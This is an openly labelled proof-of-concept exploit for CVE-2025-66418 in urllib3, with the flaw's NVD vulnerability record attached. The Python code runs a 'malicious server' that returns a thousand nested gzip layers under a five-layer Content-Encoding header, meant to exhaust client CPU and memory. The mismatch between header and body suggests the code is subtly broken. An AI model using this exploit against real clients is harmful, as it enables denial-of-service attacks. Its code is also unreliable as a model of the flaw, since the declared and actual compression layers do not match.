CVE-2025-66418

import http.server import gzip import threading import time class DecompressionBombHandler(http.server.BaseHTTPRequestHandler): """ Malicious server that exploits CVE-2025-66418 Creates an infinite decompression chain to cause DoS """ def do_GET(self): # Generate decompression bomb with many nested compression layers data = b'X' * 1024 # Small initial data # Create chain of 1000 compressed layers for i in range(1000): data = gzip.compress(data) self.send_response(200) # Send with multiple Content-Encoding headers self.send_header('Content-Encoding', 'gzip, gzip, gzip, gzip, gzip') self.send_header('Content-Length', str(len(data))) self.end_headers() self.wfile.write(data) def log_message(self, format, *args): pass # Suppress logging def start_server(port=8888): server = http.server.HTTPServer(('0.0.0.0', port), DecompressionBombHandler) print(f'Malicious server running on port {port}') server.serve_forever() if __name__ == '__main__': start_server()

{"cve": {"id": "CVE-2025-66418", "sourceIdentifier": "[email protected]", "published": "2025-12-05T16:15:51.053", "lastModified": "2025-12-10T16:08:32.193", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.24 and prior to 2.6.0, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. This vulnerability is fixed in 2.6.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:python:urllib3:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.24", "versionEndExcluding": "2.6.0", "matchCriteriaId": "AE1F753E-4D9D-48B1-B893-B3FD39917478"}]}]}], "references": [{"url": "https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}